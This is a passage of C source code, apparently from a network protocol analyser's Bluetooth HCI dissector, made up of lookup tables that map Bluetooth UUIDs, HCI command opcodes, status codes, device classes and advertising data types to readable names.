{ 0x2A4E, "Protocol Mode" },
{ 0x2A4F, "Scan Interval Window" },
{ 0x2A50, "PnP ID" },
{ 0x2A51, "Glucose Feature" },
{ 0x2A52, "Record Access Control Point" },
{ 0x2A53, "RSC Measurement" },
{ 0x2A54, "RSC Feature" },
{ 0x2A55, "SC Control Point" },
{ 0x2A5B, "CSC Measurement" },
{ 0x2A5C, "CSC Feature" },
{ 0x2A5D, "Sensor Location" },
{ 0x2A63, "Cycling Power Measurement" },
{ 0x2A64, "Cycling Power Vector" },
{ 0x2A65, "Cycling Power Feature" },
{ 0x2A66, "Cycling Power Control Point" },
{ 0x2A67, "Location and Speed" },
{ 0x2A68, "Navigation" },
{ 0x2A69, "Position Quality" },
{ 0x2A6A, "LN Feature" },
{ 0x2A6B, "LN Control Point" },
/* 16-bit UUID for Members - https://www.bluetooth.org/en-us/Pages/LoginRestrictedAll/16-bit-UUIDs-member.aspx */
{ 0xFEEE, "Company UUID #2: Polar Electro Oy"}, /* Allocated 06-Mar-14 */
{ 0xFEEF, "Company UUID #1: Polar Electro Oy"}, /* Allocated 06-Mar-14 */
{ 0xFEF0, "Company UUID: Intel"}, /* Allocated 06-Mar-14 */
{ 0xFEF1, "Company UUID #2: CSR"}, /* Allocated 13-Feb-14 */
{ 0xFEF2, "Company UUID #1: CSR"}, /* Allocated 13-Feb-14 */
{ 0xFEF3, "Company UUID #2: Google"}, /* Allocated 13-Feb-14 */
{ 0xFEF4, "Company UUID #1: Google"}, /* Allocated 13-Feb-14 */
{ 0xFEF5, "Company UUID: Dialog Semiconductor GmbH"}, /* Allocated 13-Feb-14 */
{ 0xFEF6, "Company UUID: Wicentric, Inc."}, /* Allocated 13-Feb-14 */
{ 0xFEF7, "Company UUID #2: Aplix Corporation"}, /* Allocated 13-Feb-14 */
{ 0xFEF8, "Company UUID #1: Aplix Corporation"}, /* Allocated 13-Feb-14 */
{ 0xFEF9, "Company UUID #2: PayPal, Inc."}, /* Allocated 13-Jan-14 */
{ 0xFEFA, "Company UUID #1: PayPal, Inc."}, /* Allocated 13-Jan-14 */
{ 0xFEFB, "Company UUID: Stollmann E+V GmbH"}, /* Allocated 06-Jan-14 */
{ 0xFEFC, "Company UUID #2: Qualcomm Retail Solutions, Inc."}, /* Allocated 20-Dec-13 */
{ 0xFEFD, "Company UUID #1: Qualcomm Retail Solutions, Inc."}, /* Allocated 20-Dec-13 */
{ 0xFEFE, "Company UUID: GN ReSound A/S"}, /* Allocated 17-Dec-13 */
{ 0xFEFF, "Company UUID: GN Netcom"}, /* Allocated 12-Dec-13 */
/* SDO Uuids - https://www.bluetooth.org/en-us/specification/assigned-numbers/sdo-16-bit-uuids */
{ 0xFFFE, "Alliance for Wireless Power" },
{ 0, NULL }
};
value_string_ext bt_sig_uuid_vals_ext = VALUE_STRING_EXT_INIT(bt_sig_uuid_vals);
static const value_string bthci_ogf_vals[] = {
{ 0x01, "Link Control Commands" },
{ 0x02, "Link Policy Commands" },
{ 0x03, "Host Controller & Baseband Commands" },
{ 0x04, "Informational Parameters" },
{ 0x05, "Status Parameters" },
{ 0x06, "Testing Commands" },
{ 0x08, "LE Controller Commands" },
{ 0x3E, "Bluetooth Logo Testing Commands" },
{ 0x3F, "Vendor-Specific Commands" },
{ 0, NULL }
};
value_string_ext bthci_ogf_vals_ext = VALUE_STRING_EXT_INIT(bthci_ogf_vals);
static const value_string bthci_cmd_ocf_link_control_vals[] = {
/* Bluetooth Core 4.0 */
{ 0x001, "Inquiry" },
{ 0x002, "Inquiry Cancel" },
{ 0x003, "Periodic Inquiry Mode" },
{ 0x004, "Exit Periodic Inquiry Mode" },
{ 0x005, "Create Connection" },
{ 0x006, "Disconnect" },
{ 0x007, "Add SCO Connection" },
{ 0x008, "Create Connection Cancel" },
{ 0x009, "Accept Connection Request" },
{ 0x00A, "Reject Connection Request" },
{ 0x00B, "Link Key Request Reply" },
{ 0x00C, "Link Key Request Negative Reply" },
{ 0x00D, "PIN Code Request Reply" },
{ 0x00E, "PIN Code Request Negative Reply" },
{ 0x00F, "Change Connection Packet Type" },
{ 0x011, "Authentication Requested" },
{ 0x013, "Set Connection Encryption" },
{ 0x015, "Change Connection Link Key" },
{ 0x017, "Master Link Key" },
{ 0x019, "Remote Name Request" },
{ 0x01A, "Remote Name Request Cancel" },
{ 0x01B, "Read Remote Supported Features" },
{ 0x01C, "Read Remote Extended Features" },
{ 0x01D, "Read Remote Version Information" },
{ 0x01F, "Read Clock offset" },
{ 0x020, "Read LMP Handle" },
{ 0x028, "Setup Synchronous Connection" },
{ 0x029, "Accept Synchronous Connection Request" },
{ 0x02A, "Reject Synchronous Connection Request" },
{ 0x02B, "IO Capability Request Reply" },
{ 0x02C, "User Confirmation Request Reply" },
{ 0x02D, "User Confirmation Request Negative Reply" },
{ 0x02E, "User Passkey Request Reply" },
{ 0x02F, "User Passkey Request Negative Reply" },
{ 0x030, "Remote OOB Data Request Reply" },
{ 0x033, "Remote OOB Data Request Negative Reply" },
{ 0x034, "IO Capability Request Negative Reply" },
{ 0x035, "Create Physical Link" },
{ 0x036, "Accept Physical Link" },
{ 0x037, "Disconnect Physical Link" },
{ 0x038, "Create Logical Link" },
{ 0x039, "Accept Logical Link" },
{ 0x03A, "Disconnect Logical Link" },
{ 0x03B, "Logical Link Cancel" },
{ 0x03C, "Flow Spec Modify" },
/* Bluetooth Core Specification Addendum 2 */
{ 0x03D, "Enhanced Setup Synchronous Connection" },
{ 0x03E, "Enhanced Accept Synchronous Connection Request" },
/* Bluetooth Core Specification Addendum 4 */
{ 0x03F, "Truncated Page" },
{ 0x040, "Truncated Page Cancel" },
{ 0x041, "Set Connectionless Slave Broadcast" },
{ 0x042, "Set Connectionless Slave Broadcast Receive" },
{ 0x043, "Start Synchronization Train" },
{ 0x044, "Receive Synchronization Train" },
{ 0, NULL }
};
value_string_ext bthci_cmd_ocf_link_control_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_ocf_link_control_vals);
static const value_string bthci_cmd_ocf_link_policy_vals[] = {
/* Bluetooth Core 4.0 */
{ 0x001, "Hold Mode" },
{ 0x003, "Sniff Mode" },
{ 0x004, "Exit Sniff Mode" },
{ 0x005, "Park Mode" },
{ 0x006, "Exit Park Mode" },
{ 0x007, "QoS Setup" },
{ 0x009, "Role Discovery" },
{ 0x00b, "Switch Role" },
{ 0x00c, "Read Link Policy Settings" },
{ 0x00d, "Write Link Policy Settings" },
{ 0x00e, "Read Default Link Policy Settings" },
{ 0x00f, "Write Default Link Policy Settings" },
{ 0x010, "Flow Specification" },
{ 0x011, "Sniff Subrating" },
{ 0, NULL }
};
value_string_ext bthci_cmd_ocf_link_policy_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_ocf_link_policy_vals);
static const value_string bthci_cmd_ocf_host_controller_and_baseband_vals[] = {
/* Bluetooth Core 4.0 */
{ 0x001, "Set Event Mask" },
{ 0x003, "Reset" },
{ 0x005, "Set Event Filter" },
{ 0x008, "Flush" },
{ 0x009, "Read PIN Type" },
{ 0x00A, "Write PIN Type" },
{ 0x00B, "Create New Unit Key" },
{ 0x00D, "Read Stored Link Key" },
{ 0x011, "Write Stored Link Key" },
{ 0x012, "Delete Stored Link Key" },
{ 0x013, "Change Local Name" },
{ 0x014, "Read Local Name" },
{ 0x015, "Read Connection Accept Timeout" },
{ 0x016, "Write Connection Accept Timeout" },
{ 0x017, "Read Page Timeout" },
{ 0x018, "Write Page Timeout" },
{ 0x019, "Read Scan Enable" },
{ 0x01A, "Write Scan Enable" },
{ 0x01B, "Read Page Scan Activity" },
{ 0x01C, "Write Page Scan Activity" },
{ 0x01D, "Read Inquiry Scan Activity" },
{ 0x01E, "Write Inquiry Scan Activity" },
{ 0x01F, "Read Authentication Enable" },
{ 0x020, "Write Authentication Enable" },
{ 0x021, "Read Encryption Mode" },
{ 0x022, "Write Encryption Mode" },
{ 0x023, "Read Class of Device" },
{ 0x024, "Write Class of Device" },
{ 0x025, "Read Voice Setting" },
{ 0x026, "Write Voice Setting" },
{ 0x027, "Read Automatic Flush Timeout" },
{ 0x028, "Write Automatic Flush Timeout" },
{ 0x029, "Read Num Broadcast Retransmissions" },
{ 0x02A, "Write Num Broadcast Retransmissions" },
{ 0x02B, "Read Hold Mode Activity" },
{ 0x02C, "Write Hold Mode Activity" },
{ 0x02D, "Read Tx Power Level" },
{ 0x02E, "Read SCO Flow Control Enable" },
{ 0x02F, "Write SCO Flow Control Enable" },
{ 0x031, "Set Host Controller To Host Flow Control" },
{ 0x033, "Host Buffer Size" },
{ 0x035, "Host Number of Completed Packets" },
{ 0x036, "Read Link Supervision Timeout" },
{ 0x037, "Write Link Supervision Timeout" },
{ 0x038, "Read Number of Supported IAC" },
{ 0x039, "Read Current IAC LAP" },
{ 0x03A, "Write Current IAC LAP" },
{ 0x03B, "Read Page Scan Period Mode" },
{ 0x03C, "Write Page Scan Period Mode" },
{ 0x03D, "Read Page Scan Mode" },
{ 0x03E, "Write Page Scan Mode" },
{ 0x03F, "Set AFH Host Channel Classification" },
{ 0x042, "Read Inquiry Scan Type" },
{ 0x043, "Write Inquiry Scan Type" },
{ 0x044, "Read Inquiry Mode" },
{ 0x045, "Write Inquiry Mode" },
{ 0x046, "Read Page Scan Type" },
{ 0x047, "Write Page Scan Type" },
{ 0x048, "Read AFH Channel Assessment Mode" },
{ 0x049, "Write AFH Channel Assessment Mode" },
{ 0x051, "Read Extended Inquiry Response" },
{ 0x052, "Write Extended Inquiry Response" },
{ 0x053, "Refresh Encryption Key" },
{ 0x055, "Read Simple Pairing Mode" },
{ 0x056, "Write Simple Pairing Mode" },
{ 0x057, "Read Local OOB Data" },
{ 0x058, "Read Inquiry Response Tx Power Level" },
{ 0x059, "Write Inquiry Tx Power Level" },
{ 0x05A, "Read Default Erroneous Data Reporting" },
{ 0x05B, "Write Default Erroneous Data Reporting" },
{ 0x05F, "Enhanced Flush" },
{ 0x060, "Send Keypress Notification" },
{ 0x061, "Read Logical Link Accept Timeout" },
{ 0x062, "Write Logical Link Accept Timeout" },
{ 0x063, "Set Event Mask Page 2" },
{ 0x064, "Read Location Data" },
{ 0x065, "Write Location Data" },
{ 0x066, "Read Flow Control Mode" },
{ 0x067, "Write Flow Control Mode" },
{ 0x068, "Read Enhanced Transmit Power Level" },
{ 0x069, "Read Best Effort Flush Timeout" },
{ 0x06A, "Write Best Effort Flush Timeout" },
{ 0x06B, "Short Range Mode" },
{ 0x06C, "Read LE Host Supported" },
{ 0x06D, "Write LE Host Supported" },
/* Bluetooth Core Specification Addendum 3 */
{ 0x06E, "Set MWS Channel Parameters"},
{ 0x06F, "Set External Frame Configuration"},
{ 0x070, "Set MWS Signaling"},
{ 0x071, "Set MWS Transport Layer"},
{ 0x072, "Set MWS Scan Frequency Table"},
{ 0x073, "Set MWS Pattern Configuration"},
/* Bluetooth Core Specification Addendum 4 */
{ 0x074, "Set Reserved LT_ADDR" },
{ 0x075, "Delete Reserved LT_ADDR" },
{ 0x076, "Set Connectionless Slave Broadcast Data" },
{ 0x077, "Read Synchronization Train Parameters" },
{ 0x078, "Write Synchronization Train Parameters" },
{ 0, NULL }
};
value_string_ext bthci_cmd_ocf_host_controller_and_baseband_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_ocf_host_controller_and_baseband_vals);
static const value_string bthci_cmd_ocf_informational_vals[] = {
/* Bluetooth Core 4.0 */
{ 0x001, "Read Local Version Information" },
{ 0x002, "Read Local Supported Commands" },
{ 0x003, "Read Local Supported Features" },
{ 0x004, "Read Local Extended Features" },
{ 0x005, "Read Buffer Size" },
{ 0x007, "Read Country Code" },
{ 0x009, "Read BD ADDR" },
{ 0x00A, "Read Data Block Size" },
/* Bluetooth Core Specification Addendum 2 */
{ 0x00B, "Read Local Supported Codecs" },
{ 0, NULL }
};
value_string_ext bthci_cmd_ocf_informational_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_ocf_informational_vals);
static const value_string bthci_cmd_ocf_status_vals[] = {
/* Bluetooth Core 4.0 */
{ 0x001, "Read Failed Contact Counter" },
{ 0x002, "Reset Failed Contact Counter" },
{ 0x003, "Read Link Quality" },
{ 0x005, "Read RSSI" },
{ 0x006, "Read AFH Channel Map" },
{ 0x007, "Read Clock" },
{ 0x008, "Read Encryption Key Size" },
{ 0x009, "Read Local AMP Info" },
{ 0x00A, "Read Local AMP Assoc" },
{ 0x00B, "Write Remote AMP Assoc" },
/* Bluetooth Core Specification Addendum 3 */
{ 0x00C, "Get MWS Transport Layer Configuration" },
/* Bluetooth Core Specification Addendum 4 */
{ 0x00D, "Set Triggered Clock Capture" },
{ 0, NULL }
};
value_string_ext bthci_cmd_ocf_status_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_ocf_status_vals);
static const value_string bthci_cmd_ocf_testing_vals[] = {
/* Bluetooth Core 4.0 */
{ 0x001, "Read Loopback Mode" },
{ 0x002, "Write Loopback Mode" },
{ 0x003, "Enable Device Under Test Mode" },
{ 0x004, "Write Simple Pairing Debug Mode" },
{ 0x007, "Enable AMP Receiver Reports" },
{ 0x008, "AMP Test End" },
{ 0x009, "AMP Test" },
{ 0, NULL }
};
value_string_ext bthci_cmd_ocf_testing_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_ocf_testing_vals);
static const value_string bthci_cmd_ocf_low_energy_vals[] = {
/* Bluetooth Core 4.0 */
{ 0x001, "LE Set Event Mask" },
{ 0x002, "LE Read Buffer Size" },
{ 0x003, "LE Read Local Supported Features" },
{ 0x005, "LE Set Random Address" },
{ 0x006, "LE Set Advertising Parameters" },
{ 0x007, "LE Read Advertising Channel Tx Power" },
{ 0x008, "LE Set Advertising Data" },
{ 0x009, "LE Set Scan Response Data" },
{ 0x00A, "LE Set Advertise Enable" },
{ 0x00B, "LE Set Scan Parameters" },
{ 0x00C, "LE Set Scan Enable" },
{ 0x00D, "LE Create Connection" },
{ 0x00E, "LE Create Connection Cancel" },
{ 0x00F, "LE Read White List Size" },
{ 0x010, "LE Clear White List" },
{ 0x011, "LE Add Device To White List" },
{ 0x012, "LE Remove Device From White List" },
{ 0x013, "LE Connection Update" },
{ 0x014, "LE Set Host Channel Classification" },
{ 0x015, "LE Read Channel Map" },
{ 0x016, "LE Read Remote Used Features" },
{ 0x017, "LE Encrypt" },
{ 0x018, "LE Rand" },
{ 0x019, "LE Start Encryption" },
{ 0x01A, "LE Long Term Key Request Reply" },
{ 0x01B, "LE Long Term Key Request Negative Reply" },
{ 0x01C, "LE Read Supported States" },
{ 0x01D, "LE Receiver Test" },
{ 0x01E, "LE Transmitter Test" },
{ 0x01F, "LE Test End" },
{ 0, NULL }
};
value_string_ext bthci_cmd_ocf_low_energy_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_ocf_low_energy_vals);
static value_string bthci_cmd_opcode_vals[array_length(bthci_cmd_ocf_link_control_vals) - 1 +
array_length(bthci_cmd_ocf_link_policy_vals) - 1 +
array_length(bthci_cmd_ocf_host_controller_and_baseband_vals) - 1 +
array_length(bthci_cmd_ocf_informational_vals) - 1 +
array_length(bthci_cmd_ocf_status_vals) - 1 +
array_length(bthci_cmd_ocf_testing_vals) - 1 +
array_length(bthci_cmd_ocf_low_energy_vals) - 1 + 2];
value_string_ext bthci_cmd_opcode_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_opcode_vals);
static const value_string bthci_cmd_status_vals[] = {
{0x00, "Success"},
{0x01, "Unknown HCI Command"},
{0x02, "Unknown Connection Identifier"},
{0x03, "Hardware Failure"},
{0x04, "Page Timeout"},
{0x05, "Authentication Failure"},
{0x06, "PIN or Key Missing"},
{0x07, "Memory Capacity Exceeded"},
{0x08, "Connection Timeout"},
{0x09, "Connection Limit Exceeded"},
{0x0A, "Synchronous Connection Limit To A Device Exceeded"},
{0x0B, "ACL Connection Already Exists"},
{0x0C, "Command Disallowed"},
{0x0D, "Connection Rejected due to Limited Resources"},
{0x0E, "Connection Rejected due To Security Reasons"},
{0x0F, "Connection Rejected due to Unacceptable BD_ADDR"},
{0x10, "Connection Accept Timeout Exceeded"},
{0x11, "Unsupported Feature or Parameter Value"},
{0x12, "Invalid HCI Command Parameters"},
{0x13, "Remote User Terminated Connection"},
{0x14, "Remote Device Terminated Connection due to Low Resources"},
{0x15, "Remote Device Terminated Connection due to Power Off"},
{0x16, "Connection Terminated by Local Host"},
{0x17, "Repeated Attempts"},
{0x18, "Pairing Not Allowed"},
{0x19, "Unknown LMP PDU"},
{0x1A, "Unsupported Remote/LMP Feature"},
{0x1B, "SCO Offset Rejected"},
{0x1C, "SCO Interval Rejected"},
{0x1D, "SCO Air Mode Rejected"},
{0x1E, "Invalid LMP/LL Parameters"},
{0x1F, "Unspecified Error"},
{0x20, "Unsupported LMP/LL Parameter Value"},
{0x21, "Role Change Not Allowed"},
{0x22, "LMP/LL Response Timeout"},
{0x23, "LMP Error Transaction Collision"},
{0x24, "LMP PDU Not Allowed"},
{0x25, "Encryption Mode Not Acceptable"},
{0x26, "Link Key cannot be Changed"},
{0x27, "Requested QoS Not Supported"},
{0x28, "Instant Passed"},
{0x29, "Pairing with Unit Key Not Supported"},
{0x2A, "Different Transaction Collision"},
{0x2C, "QoS Unacceptable Parameter"},
{0x2D, "QoS Rejected"},
{0x2E, "Channel Classification Not Supported"},
{0x2F, "Insufficient Security"},
{0x30, "Parameter Out Of Mandatory Range"},
{0x32, "Role Switch Pending"},
{0x34, "Reserved Slot Violation"},
{0x35, "Role Switch Failed"},
{0x36, "Extended Inquiry Response Too Large"},
{0x37, "Secure Simple Pairing Not Supported By Host"},
{0x38, "Host Busy - Pairing"},
{0x39, "Connection Rejected due to No Suitable Channel Found"},
{0x3A, "Controller Busy"},
{0x3B, "Unacceptable Connection Parameters"},
{0x3C, "Directed Advertising Timeout"},
{0x3D, "Connection Terminated due to MIC Failure"},
{0x3E, "Connection Failed to be Established"},
{0x3F, "MAC Connection Failed"},
{0x40, "Coarse Clock Adjustment Rejected but Will Try to Adjust Using Clock Dragging"},
{0, NULL }
};
value_string_ext bthci_cmd_status_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_status_vals);
static const value_string bthci_cmd_cod_major_device_class_vals[] = {
{0x00, "Miscellaneous"},
{0x01, "Computer"},
{0x02, "Phone"},
{0x03, "LAN/Network Access Point"},
{0x04, "Audio/Video"},
{0x05, "Peripheral (HID)"},
{0x06, "Imaging"},
{0x07, "Wearable"},
{0x08, "Toy"},
{0x09, "Health"},
{0x1F, "Uncategorized: device code not specified"},
{0, NULL }
};
value_string_ext bthci_cmd_cod_major_device_class_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_major_device_class_vals);
static const value_string bthci_cmd_cod_minor_device_class_computer_vals[] = {
{ 0x00, "Uncategorized, code for device not assigned" },
{ 0x01, "Desktop workstation" },
{ 0x02, "Server-class computer" },
{ 0x03, "Laptop" },
{ 0x04, "Handheld PC/PDA (clamshell)" },
{ 0x05, "Palm-size PC/PDA" },
{ 0x06, "Wearable computer (watch size)" },
{ 0x07, "Tablet" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_computer_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_computer_vals);
static const value_string bthci_cmd_cod_minor_device_class_phone_vals[] = {
{ 0x00, "Uncategorized, code for device not assigned" },
{ 0x01, "Cellular" },
{ 0x02, "Cordless" },
{ 0x03, "Smartphone" },
{ 0x04, "Wired modem or voice gateway" },
{ 0x05, "Common ISDN access" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_phone_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_phone_vals);
static const value_string bthci_cmd_cod_minor_device_class_lan_net_load_factor_vals[] = {
{ 0x00, "Fully available" },
{ 0x01, "1% to 17% utilized" },
{ 0x02, "17% to 33% utilized" },
{ 0x03, "33% to 50% utilized" },
{ 0x04, "50% to 67% utilized" },
{ 0x05, "67% to 83% utilized" },
{ 0x06, "83% to 99% utilized" },
{ 0x07, "No service available" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_lan_net_load_factor_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_lan_net_load_factor_vals);
static const value_string bthci_cmd_cod_minor_device_class_lan_net_type_vals[] = {
{ 0x00, "Uncategorized (used if no others apply)" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_lan_net_type_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_lan_net_type_vals);
static const value_string bthci_cmd_cod_minor_device_class_audio_video_vals[] = {
{ 0x00, "Uncategorized, code not assigned" },
{ 0x01, "Wearable Headset Device" },
{ 0x02, "Hands-free Device" },
{ 0x04, "Microphone" },
{ 0x05, "Loudspeaker" },
{ 0x06, "Headphones" },
{ 0x07, "Portable Audio" },
{ 0x08, "Car audio" },
{ 0x09, "Set-top box" },
{ 0x0A, "HiFi Audio Device" },
{ 0x0B, "VCR" },
{ 0x0C, "Video Camera" },
{ 0x0D, "Camcorder" },
{ 0x0E, "Video Monitor" },
{ 0x0F, "Video Display and Loudspeaker" },
{ 0x10, "Video Conferencing" },
{ 0x12, "Gaming/Toy" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_audio_video_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_audio_video_vals);
static const value_string bthci_cmd_cod_minor_device_class_peripheral_class_vals[] = {
{ 0x00, "Not Keyboard / Not Pointing Device" },
{ 0x01, "Keyboard" },
{ 0x02, "Pointing device" },
{ 0x03, "Combo keyboard/pointing device" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_peripheral_class_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_peripheral_class_vals);
static const value_string bthci_cmd_cod_minor_device_class_peripheral_type_vals[] = {
{ 0x00, "Uncategorized device" },
{ 0x01, "Joystick" },
{ 0x02, "Gamepad" },
{ 0x03, "Remote control" },
{ 0x04, "Sensing device" },
{ 0x05, "Digitizer tablet" },
{ 0x06, "Card Reader" },
{ 0x07, "Digital Pen" },
{ 0x08, "Handheld scanner for bar-codes" },
{ 0x09, "Handheld gestural input device" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_peripheral_type_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_peripheral_type_vals);
static const value_string bthci_cmd_cod_minor_device_class_imaging_type_vals[] = {
{ 0x00, "Uncategorized, default" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_imaging_type_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_imaging_type_vals);
static const value_string bthci_cmd_cod_minor_device_class_wearable_vals[] = {
{ 0x01, "Wristwatch" },
{ 0x02, "Pager" },
{ 0x03, "Jacket" },
{ 0x04, "Helmet" },
{ 0x05, "Glasses" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_wearable_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_wearable_vals);
static const value_string bthci_cmd_cod_minor_device_class_toy_vals[] = {
{ 0x01, "Robot" },
{ 0x02, "Vehicle" },
{ 0x03, "Doll / Action figure" },
{ 0x04, "Controller" },
{ 0x05, "Game" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_toy_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_toy_vals);
static const value_string bthci_cmd_cod_minor_device_class_health_vals[] = {
{ 0x00, "Undefined" },
{ 0x01, "Blood Pressure Monitor" },
{ 0x02, "Thermometer" },
{ 0x03, "Weighing Scale" },
{ 0x04, "Glucose Meter" },
{ 0x05, "Pulse Oximeter" },
{ 0x06, "Heart/Pulse Rate Monitor" },
{ 0x07, "Health Data Display" },
{ 0x08, "Step Counter" },
{ 0x09, "Body Composition Analyzer" },
{ 0x0A, "Peak Flow Monitor" },
{ 0x0B, "Medication Monitor" },
{ 0x0C, "Knee Prosthesis" },
{ 0x0D, "Ankle Prosthesis" },
{ 0x0E, "Generic Health Manager" },
{ 0x0F, "Personal Mobility Device" },
{ 0, NULL }
};
value_string_ext bthci_cmd_cod_minor_device_class_health_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_cod_minor_device_class_health_vals);
static const value_string bthci_cmd_eir_data_type_vals[] = {
{0x01, "Flags" },
{0x02, "16-bit Service Class UUIDs (incomplete)" },
{0x03, "16-bit Service Class UUIDs" },
{0x04, "32-bit Service Class UUIDs (incomplete)" },
{0x05, "32-bit Service Class UUIDs" },
{0x06, "128-bit Service Class UUIDs (incomplete)" },
{0x07, "128-bit Service Class UUIDs" },
{0x08, "Device Name (shortened)" },
{0x09, "Device Name" },
{0x0A, "Tx Power Level" },
{0x0B, "OOB Optional Data Length" },
{0x0C, "BD_ADDR" },
{0x0D, "Class Of Device" },
{0x0E, "Simple Pairing Hash C" },
{0x0F, "Simple Pairing Randomizer R" },
{0x10, "Device ID / Security Manager TK Value" },
{0x11, "Security Manager Out of Band Flags" },
{0x12, "Slave Connection Interval Range" },
{0x14, "List of 16-bit Service Solicitation UUIDs" },
{0x15, "List of 128-bit Service Solicitation UUIDs" },
{0x16, "Service Data - 16 bit UUID" },
{0x17, "Public Target Address" },
{0x18, "Random Target Address" },
{0x19, "Appearance" },
{0x1A, "Advertising Interval" },
{0x1B, "LE Bluetooth Device Address" },
{0x1C, "LE Role" },
{0x1D, "Simple Pairing Hash C-256" },
{0x1E, "Simple Pairing Randomizer R-256" },
{0x1F, "List of 32-bit Service Solicitation UUIDs" },
{0x20, "Service Data - 32 bit UUID" },
{0x21, "Service Data - 128 bit UUID" },
{0x3D, "3D Information Data" },
{0xFF, "Manufacturer Specific" },
{ 0, NULL }
};
value_string_ext bthci_cmd_eir_data_type_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_eir_data_type_vals);
/* Updating based on https://developer.bluetooth.org/gatt/characteristics/Pages/CharacteristicViewer.aspx?u=org.bluetooth.characteristic.gap.appearance.xml */
static const value_string bthci_cmd_appearance_vals[] = {
{ 0, "Unknown" },
{ 64, "Generic Phone" },
{ 128, "Generic Computer" },
{ 192, "Generic Watch" },
{ 193, "Watch: Sports Watch" },
{ 256, "Generic Clock" },
{ 320, "Generic Display" },
{ 384, "Generic Remote Control" },
{ 448, "Generic Eye-glasses" },
{ 512, "Generic Tag" },
{ 576, "Generic Keyring" },
{ 640, "Generic Media Player" },
{ 704, "Generic Barcode Scanner" },
{ 768, "Generic Thermometer" },
{ 769, "Thermometer: Ear" },
{ 832, "Generic Heart rate Sensor" },
{ 833, "Heart Rate Sensor: Heart Rate Belt" },
{ 896, "Generic Blood Pressure" },
{ 897, "Blood Pressure: Arm" },
{ 898, "Blood Pressure: Wrist" },
{ 960, "Human Interface Device (HID)" },
{ 961, "Keyboard" },
{ 962, "Mouse" },
{ 963, "Joystick" },
{ 964, "Gamepad" },
{ 965, "Digitizer Tablet" },
{ 966, "Card Reader" },
{ 967, "Digital Pen" },
{ 968, "Barcode Scanner" },
{ 1024, "Generic Glucose Meter" },
{ 1088, "Generic: Running Walking Sensor" },
{ 1089, "Running Walking Sensor: In-Shoe" },
{ 1090, "Running Walking Sensor: On-Shoe" },
{ 1091, "Running Walking Sensor: On-Hip" },
{ 1152, "Generic: Cycling" },
{ 1153, "Cycling: Cycling Computer" },
{ 1154, "Cycling: Speed Sensor" },
{ 1155, "Cycling: Cadence Sensor" },
{ 1156, "Cycling: Power Sensor" },
{ 1157, "Cycling: Speed and Cadence Sensor" },
{ 3136, "Generic" },
{ 3137, "Fingertip" },
{ 3138, "Wrist Worn" },
{ 5184, "Generic" },
{ 5185, "Location Display Device" },
{ 5186, "Location and Navigation Display Device" },
{ 5187, "Location Pod" },
{ 5188, "Location and Navigation Pod" },
{ 0, NULL }
};
value_string_ext bthci_cmd_appearance_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_appearance_vals);
const value_string bthci_cmd_io_capability_vals[] = {
{0x00, "Display Only" },
{0x01, "Display Yes/No" },
{0x02, "Keyboard Only" },
{0x03, "No Input, No Output" },
{ 0, NULL }
};
const value_string bthci_cmd_oob_data_present_vals[] = {
{0x00, "OOB Authentication Data Not Present" },
{0x01, "OOB Authentication Data From Remote Device Present" },
{ 0, NULL }
};
static const value_string bthci_cmd_auth_req_vals[] = {
{0x00, "MITM Protection Not Required - No Bonding. Numeric Comparison, Automatic Accept Allowed" },
{0x01, "MITM Protection Required - No Bonding. Use IO Capabilty To Determine Procedure" },
{0x02, "MITM Protection Not Required - Dedicated Bonding. Numeric Comparison, Automatic Accept Allowed" },
{0x03, "MITM Protection Required - Dedicated Bonding. Use IO Capabilty To Determine Procedure" },
{0x04, "MITM Protection Not Required - General Bonding. Numeric Comparison, Automatic Accept Allowed" },
{0x05, "MITM Protection Required - General Bonding. Use IO Capabilty To Determine Procedure" },
{ 0, NULL }
};
value_string_ext bthci_cmd_auth_req_vals_ext = VALUE_STRING_EXT_INIT(bthci_cmd_auth_req_vals);
const value_string bthci_cmd_address_types_vals[] = {
{ 0x00, "Public Device Address" },
{ 0x01, "Random Device Address" },
{ 0, NULL }
};
static const value_string cmd_role_vals[] = {
{0x00, "Change own Role to Master for this BD_ADDR"},
{0x01, "Change own Role to Slave for this BD_ADDR"},
{0, NULL }
};
static const value_string cmd_pin_types[] = {
{0x00, "Variable PIN" },
{0x01, "Fixed PIN" },
{0, NULL }
};
static const value_string cmd_encryption_enable[] = {
{0x00, "Link Level Encryption is OFF"},
{0x01, "Link Level Encryption is ON"},
{0, NULL }
};
